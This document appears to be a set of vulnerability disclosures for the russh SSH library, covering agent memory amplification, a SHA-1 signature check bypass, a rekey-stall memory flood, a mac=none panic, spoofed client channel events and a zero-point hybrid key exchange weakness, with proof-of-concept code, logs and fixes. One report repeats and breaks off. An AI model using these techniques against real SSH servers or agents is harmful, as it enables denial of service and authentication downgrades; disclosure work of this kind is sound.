russh_keys::agent::server::add_key (russh/src/keys/agent/server.rs:271-319) spawns a dedicated tokio task for every 5-byte SSH_AGENT_CONSTRAIN_LIFETIME record attached to an added key, each cloning the key blob and sleeping for the declared lifetime (up to ~136 years). The loop has no per-request task budget, and spawned tasks are not rolled back when the overall request fails. Repeating one constrained add-key message over an agent connection converts wire bytes into resident tasks and heap at roughly 141x amplification: in our measurement 10.2 MiB of protocol traffic produced ~2,096,120 live tasks and +1,447,856 KiB RSS, while the same traffic sent as unconstrained add-key requests cost +268 KiB. An attacker reaching the agent socket (a local process, or a remote SSH server the user connects to with agent forwarding, since russh clients accept the auth-agent@openssh.com channel by default at russh/src/client/mod.rs:2686) can exhaust the agent process's memory and task capacity with a renewable, cheap request stream. Verified on russh HEAD efa9a03 (v0.63.3-10, 2026-10-01).

Details

// russh/src/keys/agent/server.rs:271-319 (add_key, constraint loop)
while let Ok(t) = u8::decode(r) {
 match t {
 SSH_AGENT_CONSTRAIN_LIFETIME => {
 let lifetime = u32::decode(r)?;
 ...
 tokio::spawn({
 let key = key.clone;
 async move { tokio::time::sleep(...lifetime...).await; /* remove key */ }
 });
 }
 ...

Each lifetime record clones the key blob into a new task regardless of how many records the same request already spawned, and a failure later in the request leaves earlier tasks alive. Data flow: agent connection -> SSH_AGENTC_ADD_IDENTITY_CONSTRAINED -> constraint decode loop -> unbounded tokio::spawn per 5 bytes. The control measurement (identical wire volume as unconstrained adds) isolates the constraint path as the amplifier.

Proof of concept

Prerequisites: Linux host with cargo and git. The archive's deploy script provisions russh at the pinned revision and the PoC crate (rewriting the path dependency); the PoC runs a real russh agent server on loopback and speaks the agent protocol to it.

$ POC_HOME=$HOME/russh-poc RUSSH_REPO=/home/ubuntu/HuntTargets/russh ./deployment/deploy.sh
russh at efa9a03 -> /home/ubuntu/russh-poc/poc

$ POC_HOME=$HOME/russh-poc ./poc/poc.sh 40
[*] round 29: reply code=6 RSS=1090272 KiB (delta +1087580 KiB)
[*] round 39: reply code=6 RSS=1450548 KiB (delta +1447856 KiB)
[*] final RSS = 1450548 KiB (delta +1447856 KiB, x141 amplification by wire bytes)
[*] ~2096120 tasks now sleep for ~136 years holding their blob + timer.
[*] fds = 19

The broker acks every request (code 6 = SUCCESS) while RSS grows to +1.45 GB from ~10 MiB of input. The harness's control mode (same wire volume, unconstrained adds) measured +268 KiB. The automated archive run reproduces exactly this trace.

Manual reproduction, step by step (no archive required)

1. Provision russh at the pinned revision and build the PoC crate (it hosts a real russh agent server in-process):

git clone https://github.com/Eugeny/russh && cd russh && git checkout efa9a03e541b69505d5e6ec0d9213d011c9f6310
cargo build --release   # in the PoC crate directory; the path dependency points at the clone

2. Run the PoC: it starts the agent on loopback, then sends repeated SSH_AGENTC_ADD_IDENTITY_CONSTRAINED messages whose constraint sections contain ~52,000 five-byte SSH_AGENT_CONSTRAIN_LIFETIME records each:

./target/release/poc-agent-addkey 40
# [*] round 29: reply code=6 RSS=1090272 KiB (delta +1087580 KiB)
# [*] round 39: reply code=6 RSS=1450548 KiB (delta +1447856 KiB)
# [*] final RSS = 1450548 KiB (delta +1447856 KiB, x141 amplification by wire bytes)
# [*] ~2096120 tasks now sleep for ~136 years holding their blob + timer.

3. Control: the same wire volume sent as UNCONSTRAINED add-key requests measures +268 KiB (MODE=control), isolating the constraint-record task spawn as the amplifier.

4. Reachability: any local process with access to the agent socket, or a remote SSH server the user connects to with agent forwarding (russh clients accept auth-agent@openssh.com channels by default, russh/src/client/mod.rs:2686), can drive this. Each spawned task clones the key blob and sleeps for the declared lifetime (up to ~136 years); tasks are never rolled back when a request fails.

Impact

An attacker able to speak the agent protocol to a russh-based agent (local process on the socket, or a remote SSH server the user connects to with agent forwarding enabled) can drive gigabyte-scale memory growth and millions of leaked tasks per session with megabytes of traffic, renewable until the agent process is starved or OOM-killed, taking the user's SSH key agent down. The trust boundary is the agent protocol peer versus the agent process's resources. No confidentiality or integrity impact.

Details

In russh/src/server/encrypted.rs, server_read_auth_request_pk (0.63.3, around lines 880-990):

• The requested algorithm name (pubkey_algo) is read and only used to decode the key: PublicKeyOrCertificate::decode(&pubkey_algo, &pubkey_key). The derived hash_alg is then dropped (PublicKeyOrCertificate::PublicKey { ref key, .. }).
• The signature blob is decoded (Signature::decode) and verified with Verifier::verify(&pubkey, &buf, &sig). ssh-key picks the hash from the signature's own algorithm (sig.algorithm()).
• pubkey_algo and sig.algorithm() are never compared.

So for an RSA key, the request can say rsa-sha2-512 while the signature is ssh-rsa. The signature is valid for SHA-1, verification succeeds, and Handler::auth_publickey is called.

Affected versions: every russh release, from the first (0.34.0-beta.1, 2022-03) through 0.63.3 and current main. The behaviour is inherited from thrussh, which russh was forked from.

The mechanism changed over time, but the outcome is the same: the hash is always taken from the signature blob, never checked against the request.

• Up to 0.46: after reading the algorithm name inside the signature blob, russh overwrites the key's hash with it (pubkey.set_algorithm(algo_)), then verifies.
• From 0.47/0.48 (move to ssh-key): the signature is decoded with its own algorithm (sig_workaround::Sig::decode, later Signature::decode) and verified with it.

Confirmed by running the PoC below on 0.63.3. Confirmed by reading the code of server/encrypted.rs in 0.34.0-beta.1, 0.34.0, 0.36.0, 0.36.1, 0.37.1, 0.40.2, 0.43.0, 0.45.0, 0.46.0, 0.48.2, 0.50.4, 0.54.6, 0.58.1, 0.63.1, 0.63.3 and main (2026-09-30), and in thrussh 0.33.5.

PoC

A unit test in the existing test module of russh/src/server/encrypted.rs. It uses the module's own helpers (test_auth_session, sign_with_hash_alg, PrivateKeyWithHashAlg) and needs no network or configuration.

1. Check out russh 0.63.3, or main.
2. Paste the code below inside mod tests { ... } of russh/src/server/encrypted.rs.
3. Run cargo test --lib poc_sha1.

// ---- PoC: signature algorithm not checked against the requested one ----

/// Records whether `auth_publickey` (called only after the signature
/// verified) was reached.
#[derive(Default)]
struct AcceptAnyKey {
    authenticated: bool,
}

impl Handler for AcceptAnyKey {
    type Error = Error;

    async fn auth_publickey_offered(
        &mut self,
        _user: &str,
        _public_key: &PublicKey,
    ) -> Result<Auth, Self::Error> {
        Ok(Auth::Accept)
    }

    async fn auth_publickey(
        &mut self,
        _user: &str,
        _public_key: &PublicKey,
    ) -> Result<Auth, Self::Error> {
        self.authenticated = true;
        Ok(Auth::Accept)
    }
}

/// A signed publickey request that names `announced` as its public key
/// algorithm, but is signed with `hash` (`None` = `ssh-rsa`, SHA-1).
fn signed_request_announcing(
    user: &str,
    private_key: Arc<PrivateKey>,
    announced: &str,
    hash: Option<crate::keys::HashAlg>,
) -> Vec<u8> {
    let mut packet = Vec::new();
    packet.push(msg::USERAUTH_REQUEST);
    user.encode(&mut packet).unwrap();
    "ssh-connection".encode(&mut packet).unwrap();
    "publickey".encode(&mut packet).unwrap();
    1u8.encode(&mut packet).unwrap();
    announced.encode(&mut packet).unwrap();
    private_key.public_key().to_bytes().unwrap().encode(&mut packet).unwrap();

    let mut signed = Vec::new();
    CryptoVec::new().as_ref().encode(&mut signed).unwrap();
    signed.extend_from_slice(&packet);
    let signature =
        sign_with_hash_alg(&PrivateKeyWithHashAlg::new(private_key, hash), &signed).unwrap();
    signature.encode(&mut packet).unwrap();
    packet
}

#[tokio::test]
async fn poc_sha1_signature_accepted_when_rsa_sha2_512_is_announced() {
    let rsa = ssh_key::private::RsaKeypair::random(&mut rand::rng(), 2048).unwrap();
    let private = Arc::new(PrivateKey::from(rsa));
    let mut session = test_auth_session();
    let mut handler = AcceptAnyKey::default();

    // The request says rsa-sha2-512; the signature blob is ssh-rsa (SHA-1).
    let packet = signed_request_announcing("alice", private, "rsa-sha2-512", None);
    session.process_packet(&mut handler, &packet).await.unwrap();

    // RFC 8332 §3: the signature algorithm must be the requested one, so
    // this request must be rejected. On russh 0.63.3 it is accepted.
    assert!(
        !handler.authenticated,
        "an ssh-rsa (SHA-1) signature was accepted for a request announcing rsa-sha2-512"
    );
}

Result on unmodified 0.63.3:

test server::encrypted::tests::poc_sha1_signature_accepted_when_rsa_sha2_512_is_announced ... FAILED
panicked at src/server/encrypted.rs: an ssh-rsa (SHA-1) signature was accepted for a request announcing rsa-sha2-512

With the fix below, the test passes and the whole library suite still passes: cargo test --lib gives 186 passed.

Suggested fix: reject a mismatch through the existing reject_auth_request(until, ...) path, so the constant rejection time is kept.

--- a/russh/src/server/encrypted.rs
+++ b/russh/src/server/encrypted.rs
@@ -1023,6 +1023,21 @@
                     map_err!(ensure_end(&signature_reader))?;
                     map_err!(ensure_end(r))?;
 
+                    // RFC 8332 §3: the signature must use the algorithm the
+                    // request names.
+                    let offered_algorithm = match pk_or_cert {
+                        PublicKeyOrCertificate::PublicKey { .. } => ssh_key::Algorithm::new(&pubkey_algo),
+                        PublicKeyOrCertificate::Certificate(_) => {
+                            <ssh_key::Algorithm as crate::helpers::AlgorithmExt>::new_certificate_ext(&pubkey_algo)
+                        }
+                    };
+                    if offered_algorithm.ok().as_ref() != Some(&sig.algorithm()) {
+                        debug!("signature algorithm does not match the requested one");
+                        auth_user.clear();
+                        reject_auth_request(until, &mut self.write, auth_request).await?;
+                        return Ok(());
+                    }
+
                     let is_valid = if accepted_probe_matches && user == auth_user {
                         true
                     } else {

Impact

This is a missing check on the signature algorithm (improper verification of a cryptographic signature's algorithm, CWE-347) in the server's publickey authentication.

Who is impacted: applications that use russh as an SSH server and rely on the requested algorithm to restrict, record or audit user-key signature algorithms. For example:

• a server that refuses SHA-1 (ssh-rsa) signatures, as OpenSSH does by default since 8.8;
• a server that logs which algorithm a client authenticated with.

Such a server can be made to accept a SHA-1 signature, or to record rsa-sha2-512 for one, by any holder of a valid RSA key.

Not impacted:

• russh clients;
• authentication strength beyond the choice of hash, since a valid signature by the private key is still required;
• Te RSA keys were examined, the case where one key admits several signature algorithms (ssh-rsa, rsa-sha2-256, rsa-sha2-512). We did not test other key types.

Summary

A russh server can be driven to unbounded heap growth (process OOM / kill) by a peer that speaks only standard SSH messages, in the default configuration.

The peer starts a key re-exchange (sends SSH_MSG_KEXINIT) but never sends the follow-up SSH_MSG_KEX_ECDH_INIT, leaving the server's kex state machine in SessionKexState::InProgress indefinitely. While a rekey is in progress the server's three message-drain paths are all gated off (if !self.kex.active()), but the network-read path stays active, so every SSH_MSG_CHANNEL_OPEN the peer sends is processed inline and appends one reply to an unbounded internal queue (priority_receiver, an UnboundedReceiver) that is not dequeued until the rekey completes. Because the peer decides whether the rekey ever completes, the queue — and the server's memory — grows without bound.

This is reproducible end-to-end against a real russh server over a real encrypted transport; see "Proof of concept". A one-line negative control (same flood, no rekey) keeps memory flat, isolating the rekey window as the sole trigger.

Impact

• Availability / DoS. Server RSS climbs at roughly 3.3 KB per CHANNEL_OPEN, driven entirely by the peer, until the process is OOM-killed. In the reproduction one connection pushed the server from ~4 MB to 2.57 GB (and past 4.8 GB against the stock echoserver example) and it was still climbing when the flood was stopped.
• Reached with standard messages, no special configuration. Any handler is affected, including one that rejects every channel (the reply enqueued on rejection is exactly what accumulates). There is no per-connection cap on in-flight channel opens or on the queue, and the queue's sender has no backpressure.
• The peer keeps the connection alive simply by continuing to send, so the inactivity timer never fires.

Affected component

• russh/src/server/session.rs — Session::run tokio::select! loop. The network-read arm is ungated; the three drain paths are gated on !self.kex.active().
• russh/src/server/mod.rs — reply() routes a non-kex message received during a rekey straight to server_read_encrypted (inline processing).
• russh/src/lib_inner.rs — ChannelOpenHandleInner's accept/reject/Drop all send a reply on an UnboundedSender.

Verified on v0.63.1 (commit d3ae702), which is the latest release. The gating logic predates it.

Details

Session::run (russh/src/server/session.rs:631) drives a tokio::select! (:713). Three of its message-drain sites are gated on !self.kex.active():

• the pre-select! batch drain of priority_receiver/receiver (session.rs:680),
• the priority_receiver.recv() arm (session.rs:762),
• the receiver.recv() arm (session.rs:770, which also holds the only other priority_receiver drain at :777).

The fourth arm, r = &mut reading (session.rs:714), is ungated: it reads and processes one incoming packet every loop iteration regardless of rekey state, calling reply() (server/mod.rs:1128).

During a rekey, session.common.encrypted.is_some(), so the strict-kex message-ordering guard (server/mod.rs:1143, which is additionally gated on encrypted.is_none()) does not apply. A non-kex message therefore falls through reply() to session.server_read_encrypted(handler, pkt) (server/mod.rs:1232) and is handled inline. For SSH_MSG_CHANNEL_OPEN this reaches the channel-open handling, which hands the application a ChannelOpenHandle.

Whether the handler accepts or (the trait default) rejects, the handle's accept / reject / Drop all send a Msg::ChannelOpenReply on an UnboundedSender (russh/src/lib_inner.rs:560-603; Drop sends AdministrativelyProhibited at :594-603). That sender feeds priority_receiver, declared UnboundedReceiver<Msg> (session.rs:23) and created with tokio::sync::mpsc::unbounded_channel() (session.rs:1522). Its only drain sites are the three arms gated off during the rekey. So each CHANNEL_OPEN processed during the rekey window appends one reply (carrying a PendingChannelOpen = channel params + mpsc ChannelRef + ids, a few KB retained in practice) to a queue that is never dequeued.

Two facts make this unbounded and remote:

1. The server enters InProgress the moment it receives the peer's KEXINIT (server/mod.rs:1153-1158, begin_rekey) and only leaves it upon receiving the peer's KEX_ECDH_INIT. The peer decides whether to ever send that, so the window is attacker-held.
2. There is no per-connection cap on channels or on the priority queue, and the sender is unbounded (no backpressure).

Root cause

The intended design was to buffer packets received during a rekey and replay them afterwards: the fields pending_reads: Vec<Vec<u8>> and pending_len: u32 (session.rs:26-27) exist and are drained at kex completion (server/mod.rs:1194-1198). But nothing ever pushes to pending_reads or increments pending_len (they are dead — confirmed by grep across russh/src/). Instead of being buffered, channel messages received during a rekey are processed inline, and their replies pile up in the unbounded priority_receiver. The missing piece is a bound on — or bounded deferral of — channel processing while kex.active().

Proof of concept

Everything runs inside a container; nothing touches the host.

Lab. poc/Dockerfile builds russh-lab:head from Eugeny/russh @ d3ae702 (v0.63.1), default features (rust 1.91). A raw-SSH-client PoC (poc/poc_rekey_dos.rs) implements curve25519-sha256 / ssh-ed25519 / aes256-ctr / hmac-sha2-256 by hand, completes the handshake and a publickey auth, then:

1. sends SSH_MSG_KEXINIT (server enters kex.active()),
2. never sends KEX_ECDH_INIT (rekey stalls, attacker-held),
3. floods SSH_MSG_CHANNEL_OPEN.

A minimal server (poc/poc_server.rs) uses the trait-default channel_open_session (which rejects by dropping the handle), so the measured growth is purely the undrained priority queue, not accepted-channel state.

poc/run.sh runs the attack leg and an identical negative control with no rekey. Fresh run inside the lab, N = 800,000 opens (results/rerun-2026-08-29.log):

=== ATTACK (rekey stall) === (poc_server baseline_RSS=4208KB, N=800000)
  t=2s  server_RSS=667760KB
  t=4s  server_RSS=1599600KB
  t=6s  server_RSS=2556016KB
  t=8s  server_RSS=2566256KB   (flood done; memory retained)
=== CONTROL (no rekey) === (poc_server baseline_RSS=4208KB, N=800000)
  t=2s..t=12s  server_RSS=4208KB   (flat throughout)

• ATTACK: RSS 4,208 KB → 2,566,256 KB (~2.57 GB) and retained after the flood ends — ~3.3 KB per CHANNEL_OPEN, attacker-driven. (An earlier canonical run reached 2.7 GB at 800k opens, and past 4.8 GB against the stock echoserver example at 1.5 M opens — see results/canonical-run.log.)
• CONTROL: RSS flat at 4,208 KB. Without the rekey window the replies are drained normally; TCP backpressure (the client never reads the failure replies) even throttles the flood.

The control isolates the rekey window as the sole trigger. Both legs exercise the real server entry point (Session::run → reply → server_read_encrypted) over a real encrypted transport.

Reproduce: C=russh-lab N=800000 ./poc/run.sh (see poc/POC-README.md).

Remediation

The priority queue carries locally generated channel-open replies, which are non-kex messages the server must not send during a rekey anyway (RFC 4253 §7.1). So the fix is to bound how much channel work is done during a rekey, not to drain the queue mid-rekey. Any of:

• (recommended, minimal) cap the number of non-kex messages processed while a rekey is in progress and disconnect a peer that exceeds it. A stalled/abusive rekey is then torn down after a small constant instead of growing memory without bound. See patch/rekey-message-cap.patch (a ~10-line change local to Session::run, validated in the lab — the attack leg is disconnected after the cap and RSS stays flat; a normal rekey, which completes in one round trip, is unaffected).
• bound / deferred-buffer channel messages during a rekey using the existing (currently dead) pending_reads/pending_len machinery, with a hard cap.
• bound the number of in-flight channel opens per connection and reject beyond it.

OpenSSH does not service new channels mid-kex; matching that intent closes the whole family.

Summary

SshBlockCipher implementations (AES-CBC, AES-CTR, 3DES-CBC, etc.) report needs_mac() == true, meaning they are documented/intended to always be paired with a separate integrity MAC. However, key-exchange negotiation only checks needs_mac() inside the fallback branch of MAC algorithm selection (used when no common MAC algorithm exists). If both peers' preferred MAC lists simply contain none and it is successfully negotiated through the normal selection path, nothing rejects pairing none with a cipher that requires a MAC. Once negotiated, a single crafted packet from either peer causes cipher::read() to shrink an already-allocated buffer below the number of bytes it is about to index, causing a Rust slice-index-out-of-range panic and killing that connection's task.

Details

In russh/src/cipher/mod.rs, read() for a block cipher:

1. Reads packet_length_to_read_for_block_length() bytes up front (16 bytes for any SshBlockCipher) into buffer.buffer.
2. Decrypts the first block to recover the plaintext packet-length field len.
3. Computes buffer.len = len + cipher.tag_len().
4. Calls buffer.buffer.resize(buffer.len + 4, 0).
5. Immediately indexes buffer.buffer[16..] (via the constant used for the first block read) to continue decrypting/reading the rest of the packet.

When the negotiated MAC is none, tag_len() == 0. If the attacker (or a MITM holding the session key, or simply the accepting peer testing a hostile client) sends a packet whose decrypted length field is 0, then buffer.len = 0 and resize(0 + 4, 0) shrinks the buffer that was already grown to 16 bytes in step 1 down to 4 bytes. The subsequent slice operation buffer.buffer[16..] then panics with range start index 16 out of range for slice of length 4.

The file already defines a MINIMUM_PACKET_LEN constant, but it is only consulted on the write/padding side, never on the read path — so nothing prevents an incoming packet from declaring a length shorter than the bytes already buffered.

Negotiation gap: negotiation.rs's Select MAC-selection logic only special-cases needs_mac() when negotiation would otherwise fail (no common MAC), substituting none only if the cipher does not need one. It never re-validates the case where none is a common/successfully-negotiated MAC on both sides regardless of what the chosen cipher requires. So an application (or a malicious peer, since negotiation is attacker-influenced on one side) that includes none in its own preferred MAC list — while still allowing the default CTR/CBC cipher suite — ends up with an invalid, panic-inducing combination that the library itself should refuse.

PoC

1. Configure one side's Preferred config to include mac::NONE in the MAC list (this is a supported, non-default configuration exposed by the crate's public Preferred API — used e.g. for legacy/interop compatibility), while leaving the default cipher list (which includes aes256-ctr/aes256-cbc) untouched.
2. Complete a normal key exchange; negotiation lands on {cipher: aes*-ctr (or -cbc), mac: none} because none is present and preferred/common on both sides, and nothing during negotiation rejects this pairing.
3. From the peer, send one transport packet whose decrypted packet-length field is 0 (trivial to construct once the session keys are known to that peer, or for the peer that legitimately owns the connection to simply hand-craft, e.g. a modified client for testing).
4. cipher::read() on the receiving side panics: range start index 16 out of range for slice of length 4.
5. Because each connection is handled in its own tokio::spawn'ed task (see the per-connection select! loop that calls into cipher::read()), the panic unwinds only that task by default, but it unconditionally terminates that SSH connection/session — a working, currently-unauthenticated, already-established connection is killed with no attacker interaction beyond the one crafted packet, and the check runs on every inbound packet including pre-auth ones.

Impact

Denial of service: a remote peer that can influence MAC preference negotiation (or a MITM in possession of the session key) can crash any individual SSH connection/session that ends up negotiating a block cipher together with mac=none, with a single crafted packet, pre-authentication. This does not affect the process as a whole (panic is scoped to that connection's task under panic=unwind), and does require a non-default configuration that permits none as a preferred MAC — hence Low severity.

Suggested fix

In the MAC-selection logic in negotiation.rs, reject (or force substitution of) mac::NONE whenever the negotiated cipher's needs_mac() is true, regardless of how none came to be selected — not only in the "no common MAC" fallback branch. Defensively, cipher::read() could also refuse to shrink a buffer below the number of bytes already consumed for the length-field block, returning a protocol error instead of resizing blindly.

For credit/changelog purposes, please use: Yazan Balawneh, Cystack.ps

Summary

CVE-2026-68930 was fixed by adding Session::is_established_channel() in russh/src/server/encrypted.rs, which gates every channel-scoped SERVER-side message (CHANNEL_REQUEST, CHANNEL_DATA, CHANNEL_EOF, CHANNEL_CLOSE, CHANNEL_WINDOW_ADJUST, CHANNEL_EXTENDED_DATA) on enc.channels.get(&channel).is_some_and(|c| c.confirmed) before invoking any Handler callback. The identical validation was never added to the CLIENT side (russh/src/client/encrypted.rs), which processes channel-scoped messages sent by the SSH SERVER once the client has authenticated.

Details

In client_read_authenticated (russh/src/client/encrypted.rs, ~lines 431-757), for CHANNEL_DATA, CHANNEL_EXTENDED_DATA, CHANNEL_EOF, CHANNEL_CLOSE, CHANNEL_OPEN_FAILURE, CHANNEL_SUCCESS, CHANNEL_FAILURE, and the CHANNEL_REQUEST sub-types exit-status/exit-signal/xon-xoff, the code only optionally forwards the event to the internal per-channel mpsc sender via if let Some(chan) = self.channels.get(&channel_num) { ... } (a no-op if the channel is unknown), but then unconditionally calls the corresponding public Handler trait method (client.data(...), client.exit_status(...), client.channel_close(...), client.channel_success(...), etc.) regardless of whether channel_num corresponds to any channel the client ever opened or that was ever confirmed. Only CHANNEL_OPEN_CONFIRMATION (closes the connection with Error::Inconsistent if unknown) and CHANNEL_WINDOW_ADJUST (returns early with Ok(()) if unknown) correctly validate channel existence before acting.

Corroborating evidence this check was intended but never wired up: crate::Error defines a dedicated WrongChannel variant documented as "Message received/sent on unopened channel" (russh/src/lib_inner.rs, ~line 144-146), yet a repo-wide search shows this variant is never constructed or returned anywhere in the codebase — dead code left over from (or intended for) exactly this validation.

Because Session::new_channel_id() (russh/src/session.rs, ~line 708) allocates channel IDs sequentially starting at 1, a malicious or compromised SSH server can trivially predict the ID of the client's next channel and inject spoofed lifecycle events for it before or interleaved with the real channel-open exchange, or replay events for already-closed channel IDs.

PoC

Many real-world consumers of russh-as-a-client (deployment/orchestration tools, CI runners connecting to build/bastion hosts, git-over-ssh style tooling, database/tunnel clients) implement the client::Handler trait directly and key their own state (e.g. HashMap<ChannelId, CommandState>, exit-code trackers, per-channel byte counters, completion futures) off the channel IDs the library hands them, trusting the documented contract that events like "The remote process has exited" (exit_status) or "Called when the server closes a channel" (channel_close) only fire for a channel the application itself opened.

A malicious, MITM'd (via a compromised/rogue jump host the client is configured to trust), or simply hostile SSH server can send SSH_MSG_CHANNEL_REQUEST (exit-status/exit-signal), SSH_MSG_CHANNEL_DATA, SSH_MSG_CHANNEL_CLOSE, SSH_MSG_CHANNEL_SUCCESS/FAILURE, or SSH_MSG_CHANNEL_OPEN_FAILURE for an arbitrary/predicted/never-opened channel ID at any point after authentication completes. Because the library invokes the Handler callback unconditionally, this reaches application code with an ID it never registered.

Impact

(1) A reliable, purely protocol-level trigger for an application panic/DoS in any client that indexes per-channel state by ChannelId without itself re-checking channel validity — the exact class of bug CVE-2026-68930 fixed server-side; and (2) lets the server spoof exit-status/exit-signal/close/success/failure notifications for a channel the client has not yet opened or has already released, desynchronizing the client's command-completion bookkeeping (e.g. reporting a forged exit code 0 for a not-yet-run remote command, or a premature channel_close before real output/exit-status has arrived) — a business-logic-level integrity violation of the SSH channel lifecycle that automation built on russh implicitly relies on.

Suggested fix: add the same is_established_channel()-style gate already used in server/encrypted.rs to client/encrypted.rs's client_read_authenticated, checking self.channels.get(&channel_num) before invoking any Handler callback (not just the mpsc forward), for every channel-scoped message type.

For credit/changelog purposes, please use: Yazan Balawneh, Cystack.ps

Vulnerability

The hybrid ML-KEM 768 + X25519 key exchange implementation in russh/src/kex/hybrid_mlkem.rs does not validate that the remote peer's X25519 public key is not the zero point (all-zero 32-byte value). This allows a remote peer to force the X25519 contribution to the combined shared secret to zero, reducing the hybrid KEX to a single-algorithm exchange.

Affected code at HEAD (v0.62.4, commit 0089c89):

Server-side (server_dh, lines 92-93):

let mut c_pk1 = MontgomeryPoint([0; 32]);
c_pk1.0.copy_from_slice(c_pk1_bytes);
// No zero-point check - proceeds to: let k_cl = s_secret * c_pk1;

Client-side (compute_shared_secret, lines 154-155):

let mut s_pk1 = MontgomeryPoint([0; 32]);
s_pk1.0.copy_from_slice(s_pk1_bytes);
// No zero-point check - proceeds to: let k_cl = x25519_secret * s_pk1;

Root Cause

Commit a7fc1eb (2026-07-22, "fix mpint encoding and validate curve25519 keys") added zero-point validation to the standalone Curve25519 KEX in russh/src/kex/curve25519.rs at two locations:

• server_dh line 77: if client_pubkey.0 == [0u8; 32] { return Err(crate::Error::Kex); }
• compute_shared_secret line 122: if remote_pubkey.0 == [0u8; 32] { return Err(crate::Error::Kex); }

The same X25519 scalar multiplication pattern appears in hybrid_mlkem.rs, but the fix was not applied there.

Proof of Concept

A malicious SSH client negotiating mlkem768x25519-sha256 can send a KEX_HYBRID_INIT message containing a valid ML-KEM 768 encapsulation key followed by 32 zero bytes as the X25519 component.

When the server computes k_cl = s_secret * c_pk1, the result is the zero point regardless of the server's secret scalar. The combined shared secret K = SHA-256(k_pq || k_cl) then depends only on the ML-KEM component. The same attack works in reverse against a client connecting to a malicious server.

The zero X25519 public key passes all existing validation (the length check on line 78 succeeds since 32 bytes is correct). No panic or crash occurs - the exchange completes successfully with a weakened shared secret.

Impact

The purpose of hybrid key exchange is defense-in-depth: if either the classical algorithm (X25519) or the post-quantum algorithm (ML-KEM 768) is broken, the combined secret remains secure. By injecting a zero X25519 public key, an attacker eliminates the classical contribution entirely, reducing security to depend solely on ML-KEM.

This matters in two scenarios:

1. If ML-KEM 768 is later found to have a weakness (the explicit threat model hybrid KEX is designed to mitigate), sessions where the X25519 component was zeroed out lose their fallback protection.
2. An active network attacker who can intercept KEX could downgrade the hybrid exchange to effectively single-algorithm security without either peer detecting it.

The severity is MEDIUM rather than HIGH because the ML-KEM component still provides strong security today, and an active attacker who can modify KEX messages can already perform other attacks unless strict KEX is negotiated.

Suggested Fix

Add zero-point checks in hybrid_mlkem.rs matching the ones in curve25519.rs:

// In server_dh, after line 93:
let mut c_pk1 = MontgomeryPoint([0; 32]);
c_pk1.0.copy_from_slice(c_pk1_bytes);
if c_pk1.0 == [0u8; 32] {
    return Err(Error::Kex);
}

// In compute_shared_secret, after line 155:
let mut s_pk1 = MontgomeryPoint([0; 32]);
s_pk1.0.copy_from_slice(s_pk1_bytes);
if s_pk1.0 == [0u8; 32] {
    return Err(Error::Kex);
}

Ideally, also validate against the other small-subgroup points on Curve25519 (there are a small number of low-order points that also yield a zero shared secret), matching the comprehensive validation OpenSSH performs.

AI tooling

AI assistancewas used for the code audit and for drafting this report. The finding was manually verified against the project's source at the location cited above before reporting it, and the severity and impact assessment are my own.

Summary

russh_keys::agent::server::add_key (russh/src/keys/agent/server.rs:271-319) spawns a dedicated tokio task for every 5-byte SSH_AGENT_CONSTRAIN_LIFETIME record attached to an added key, each cloning the key blob and sleeping for the declared lifetime (up to ~136 years). The loop has no per-request task budget, and spawned tasks are not rolled back when the overall request fails. Repeating one constrained add-key message over an agent connection converts wire bytes into resident tasks and heap at roughly 141x amplification: in our measurement 10.2 MiB of protocol traffic produced ~2,096,120 live tasks and +1,447,856 KiB RSS, while the same traffic sent as unconstrained add-key requests cost +268 KiB. An attacker reaching the agent socket (a local process, or a remote SSH server the user connects to with agent forwarding, since russh clients accept the auth-agent@openssh.com channel by default at russh/src/client/mod.rs:2686) can exhaust the agent process's memory and task capacity with a renewable, cheap request stream. Verified on russh HEAD efa9a03 (v0.63.3-10, 2026-10-01).

Details

// russh/src/keys/agent/server.rs:271-319 (add_key, constraint loop)
while let Ok(t) = u8::decode(r) {
 match t {
 SSH_AGENT_CONSTRAIN_LIFETIME => {
 let lifetime = u32::decode(r)?;
 ...
 tokio::spawn({
 let key = key.clone;
 async move { tokio::time::sleep(...lifetime...).await; /* remove key */ }
 });
 }
 ...

Each lifetime record clones the key blob into a new task regardless of how many records the same request already spawned, and a failure later in the request leaves earlier tasks alive. Data flow: agent connection -> SSH_AGENTC_ADD_IDENTITY_CONSTRAINED -> constraint decode loop -> unbounded tokio::spawn per 5 bytes. The control measurement (identical wire volume as unconstrained adds) isolates the constraint path as the amplifier.

Proof of concept

Prerequisites: Linux host with cargo and git. The archive's deploy script provisions russh at the pinned revision and the PoC crate (rewriting the path dependency); the PoC runs a real russh agent server on loopback and speaks the agent protocol to it.

$ POC_HOME=$HOME/russh-poc RUSSH_REPO=/home/ubuntu/HuntTargets/russh ./deployment/deploy.sh
russh at efa9a03 -> /home/ubuntu/russh-poc/poc

$ POC_HOME=$HOME/russh-poc ./poc/poc.sh 40
[*] round 29: reply code=6 RSS=1090272 KiB (delta +1087580 KiB)
[*] round 39: reply code=6 RSS=1450548 KiB (delta +1447856 KiB)
[*] final RSS = 1450548 KiB (delta +1447856 KiB, x141 amplification by wire bytes)
[*] ~2096120 tasks now sleep for ~136 years holding their blob + timer.
[*] fds = 19

The broker acks every request (code 6 = SUCCESS) while RSS grows to +1.45 GB from ~10 MiB of input. The harness's control mode (same wire volume, unconstrained adds) measured +268 KiB. The automated archive run reproduces exactly this trace.

Manual reproduction, step by step (no archive required)

1. Provision russh at the pinned revision and build the PoC crate (it hosts a real russh agent server in-process):

git clone https://github.com/Eugeny/russh && cd russh && git checkout efa9a03e541b69505d5e6ec0d9213d011c9f6310
cargo build --release   # in the PoC crate directory; the path dependency points at the clone

2. Run the PoC: it starts the agent on loopback, then sends repeated SSH_AGENTC_ADD_IDENTITY_CONSTRAINED messages whose constraint sections contain ~52,000 five-byte SSH_AGENT_CONSTRAIN_LIFETIME records each:

./target/release/poc-agent-addkey 40
# [*] round 29: reply code=6 RSS=1090272 KiB (delta +1087580 KiB)
# [*] round 39: reply code=6 RSS=1450548 KiB (delta +1447856 KiB)
# [*] final RSS = 1450548 KiB (delta +1447856 KiB, x141 amplification by wire bytes)
# [*] ~2096120 tasks now sleep for ~136 years holding their blob + timer.

3. Control: the same wire volume sent as UNCONSTRAINED add-key requests measures +268 KiB (MODE=control), isolating the constraint-record task spawn as the amplifier.

4. Reachability: any local process with access to the agent socket, or a remote SSH server the user connects to with agent forwarding (russh clients accept auth-agent@openssh.com channels by default, russh/src/client/mod.rs:2686), can drive this. Each spawned task clones the key blob and sleeps for the declared lifetime (up to ~136 years); tasks are never rolled back when a request fails.

Impact

